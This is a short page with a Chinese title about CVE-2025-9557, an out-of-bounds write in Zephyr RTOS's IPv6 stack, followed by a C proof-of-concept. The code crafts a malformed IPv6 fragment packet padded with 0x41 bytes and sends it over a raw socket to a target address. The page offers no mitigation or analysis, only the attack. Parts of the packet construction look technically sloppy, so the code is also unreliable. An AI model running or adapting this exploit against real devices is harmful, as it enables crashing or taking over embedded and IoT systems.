CVE-2025-9557 Zephyr RTOS越界写入漏洞可导致代码执行

// CVE-2025-9557 PoC - IPv6 Packet Triggering Out-of-Bound Write in Zephyr RTOS // This PoC demonstrates the vulnerability in Zephyr's IPv6 packet handling #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip6.h> // Craft malicious IPv6 packet with oversized extension header unsigned char* craft_malicious_ipv6_packet() { unsigned char *packet = (unsigned char*)malloc(1024); struct ip6_hdr *ip6 = (struct ip6_hdr*)packet; // IPv6 header ip6->ip6_vfc = 0x60; // Version 6 ip6->ip6_plen = htons(512); // Large payload to trigger overflow ip6->ip6_nxt = 0x29; // IPv6-Frag header ip6->ip6_hlim = 64; // Source and destination addresses inet_pton(AF_INET6, "2001:db8::1", &ip6->ip6_src); inet_pton(AF_INET6, "2001:db8::2", &ip6->ip6_dst); // Malicious fragment header with oversized fragment unsigned char *frag = packet + sizeof(struct ip6_hdr); frag[0] = 0x11; // Next header frag[1] = 0x00; // Fragment offset = 0, M flag = 0 frag[2] = 0x00; // Identification[0-7] frag[3] = 0x00; // Identification[8-15] frag[4] = 0x00; // Identification[16-23] frag[5] = 0x01; // Identification[24-31] // Fill with pattern to trigger out-of-bound write memset(packet + sizeof(struct ip6_hdr) + 6, 0x41, 512); return packet; } int main() { int sock; struct sockaddr_in6 dst; unsigned char *packet; printf("[*] CVE-2025-9557 PoC - Zephyr RTOS IPv6 OOB Write\n"); printf("[*] Target: Zephyr RTOS devices with vulnerable IPv6 stack\n"); // Create raw socket for sending IPv6 packets sock = socket(AF_INET6, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("[!] Socket creation failed"); return 1; } packet = craft_malicious_ipv6_packet(); memset(&dst, 0, sizeof(dst)); dst.sin6_family = AF_INET6; inet_pton(AF_INET6, "2001:db8::2", &dst.sin6_addr); dst.sin6_port = htons(0); printf("[*] Sending malicious IPv6 packet...\n"); // Send the crafted packet if (sendto(sock, packet, 1024, 0, (struct sockaddr*)&dst, sizeof(dst)) < 0) { perror("[!] Send failed"); } else { printf("[+] Packet sent successfully\n"); printf("[*] If target is vulnerable, this may trigger OOB write\n"); } close(sock); free(packet); return 0; }